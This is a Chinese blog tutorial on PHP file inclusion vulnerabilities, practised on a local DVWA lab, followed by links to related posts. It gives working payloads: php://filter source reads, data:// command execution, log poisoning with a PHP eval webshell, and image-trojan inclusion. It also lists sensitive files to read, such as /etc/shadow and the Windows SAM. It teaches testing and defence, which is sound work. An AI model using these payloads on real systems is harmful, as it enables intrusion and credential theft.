Web安全测试学习笔记 - 文件包含
基础知识
文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式。有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文件包含可以将引用的文件名作为参数传递。php的文件包含举例:

利用原理
引用文件名作为传入参数暴露出来时,用户可传入任意文件名/恶意代码,且程序本身没有进行严格校验/过滤时,便会形成文件包含漏洞。其危害在于:
1. 泄露服务器敏感数据
2. 恶意代码注入(可能导致被getshell)
利用方式
用DVWA的文件包含(PHP+Aapche)举例,首先在php.ini中配置allow_url_fopen = On,allow_url_include = On。
此处通过参数page包含文件

1. 获取源码
输入:http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
得到base64编码后的源码:

解码后得到index源码:

2. 读取服务器敏感文件
常用的系统敏感文件如下:
Windows系统
- c:\boot.ini // 查看系统版本
- c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
- c:\windows\repair\sam // 存储Windows系统初次安装的密码
- c:\ProgramFiles\mysql\my.ini // MySQL配置
- c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
- c:\windows\php.ini // php 配置信息
Linux/Unix系统
- /etc/passwd // 账户信息
- /etc/shadow // 账户密码文件
- /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
- /usr/local/app/php5/lib/php.ini // PHP相关配置
- /etc/httpd/conf/httpd.conf // Apache配置文件
- /etc/my.conf // mysql 配置文件
输入:
http://localhost/dvwa/vulnerabilities/fi/?page=C:/Windows/system.ini

3. 执行操作系统命令
输入: http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php system('whoami');?>

4. 利用日志注入恶意代码
首先通过访问phpinfo找到错误日志的存放路径:
输入:http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>

用错误日志注入的思路是:
-》输入带有注入代码且能引发错误的语句
-》错误日志记录本次的输入(恶意代码注入错误日志)
-》通过文件包含漏洞访问错误日志,恶意代码被执行
输入php一句话木马:http://localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['cmd']);?>
但是打开错误日志发现尖括号被转义了(抓包改也没用,依然被转义)。。。被转义之后注入代码无法执行,利用错误日志注入的路行不通了...>_<...

换访问日志再试一次(思路是一样的),访问日志尖括号会被编码,抓包改一下之后发现成功写入,一句话木马上传成功。

5. 结合文件上传漏洞
之前写图片上传的时候曾传过一个图片马(y.png)到服务器(https://www.cnblogs.com/sallyzhang/p/11906217.html),如果存在文件包含漏洞,可直接访问该图片马并执行图片马中的代码。
输入:http://localhost/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/y.png

防御方法
1. 使用PHP时配置php.ini:allow_url_fopen = off,allow_url_include = off
2. 对动态包含的文件可以设置白名单,不读取非白名单的文件
3. 尽量不使用动态包含(或者写死)
如需转载,请注明出处,这是对他人劳动成果的尊重~
Web安全测试学习笔记 - 文件包含的更多相关文章
- Web安全测试学习笔记 - DVWA+PHP环境搭建
DVWA(Damn Vulnerable Web Application),是一个用PHP编写的,作为Web安全测试练习平台的合法环境(毕竟咱不能为了练习就随便找个网站去攻击...),也就是俗称的靶场 ...
- Linux学习笔记 -- 文件包含
简述 简单来讲,shell 中的文件包含指的是在一个文件中引用另外一个文件.通过这种方式,我们可以将一些公用的代码封装为一个独立的文件,并在需要的时候引用它即可. 语法 . filename # 注意 ...
- Web安全测试学习笔记-DVWA-SQL注入-2
接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息. 1. 获 ...
- Web安全测试学习笔记(Cookie&Session)
一,Session:含义:有始有终的一系列动作\消息1, 隐含了“面向连接” 和“保持状态”两种含义2, 一种用来在客户端与服务器之间保持状态的解决方案3, 也指这种解决方案的存储结构“把××保存在s ...
- Web安全测试学习笔记-DVWA-盲注(使用sqlmap)
之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息.而下面的页面,返回信息只有存在和不存在两种情况, ...
- Web安全测试学习笔记-DVWA-登录密码爆破(使用Burp Suite)
密码爆破简单来说,就是使用密码本(记录了若干密码),用工具(手工也可以,if you like...)一条条读取密码本中的密码后发送登录请求,遍历密码本的过程中可能试出真正的密码. 本文学习在已知登录 ...
- Web安全测试学习笔记-SQL注入-利用concat和updatexml函数
mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...
- Web安全测试学习笔记-DVWA-存储型XSS
XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</scrip ...
- Web安全测试学习笔记-DVWA-图片上传
很多网站都有上传资源(图片或者文件)的功能,资源上传后一般会存储在服务器的一个文件夹里面,如果攻击者绕过了上传时候的文件类型验证,传了木马或者其他可执行的代码上去,那服务器就危险了. 我用DVWA的文 ...
随机推荐
- MySQL 的一条语句是怎么执行的
该文为< MySQL 实战 45 讲>的学习笔记,感谢查看,如有错误,欢迎指正 一.MySQL 的基础架构 以下就是 MySQL 的基础架构图. 在 Linux 中安装 MySQL 时,最 ...
- Kubernetes CI/CD(1)
本文通过在kubernetes上启动Jenkins服务,并将宿主机上的docker.docker.sock挂载到Jenkins容器中,实现在Jenkins容器中直接打镜像的形式实现CI功能. Kube ...
- Python之lambda表达式的妙用
用法 Python的lambda表达式用于构建匿名函数,基本语法是在冒号左边放原函数的参数,可以有多个参数,用逗号隔开即可:冒号右边是返回值. >>> lambda x,y: (x+ ...
- 剑指offer-面试题51-数组中的逆序对-归并排序
/* 题目: 求给定数组的逆序对数. */ /* 思路: 归并排序. */ #include<iostream> #include<cstring> #include<v ...
- 剑指offer-面试题4-二维数组中的查找-数组
/* 题目: 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序. 请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数. */ /* 解题 ...
- MySQL 8 批处理模式
shell> mysql -h host -u user -p < batch-file 强制执行脚本,即使某些语句参数错误,可以添加 --force 参数 如果MySQL运行在Windo ...
- Java8新特性一览表
总览 forEach() method in Iterable interface(Iterable接口中的forEach()方法) default and static methods in Int ...
- 写Blog的准备工作Window Live Writer
以下是博客园的帮助博客: Windows Live Writer配置步骤 感觉里面的几篇推荐文档都可以看一下,至于代码高亮插件,个人选择的还是SyntaxHighlighter. 一. 关于写blog ...
- pygame 运行心理学问卷
import pygame import sys from pygame.locals import * # wait for keys to putdown def waitForKeys(keys ...
- 安全 - CORS(脚本请求等)
功能概述 出于安全原因,浏览器限制从脚本内发起的跨域HTTP请求 或 拦截了跨域请求的结果. 例如,XMLHttpRequest和Fetch API遵循同源策略. 这意味着使用这些API的Web应用程 ...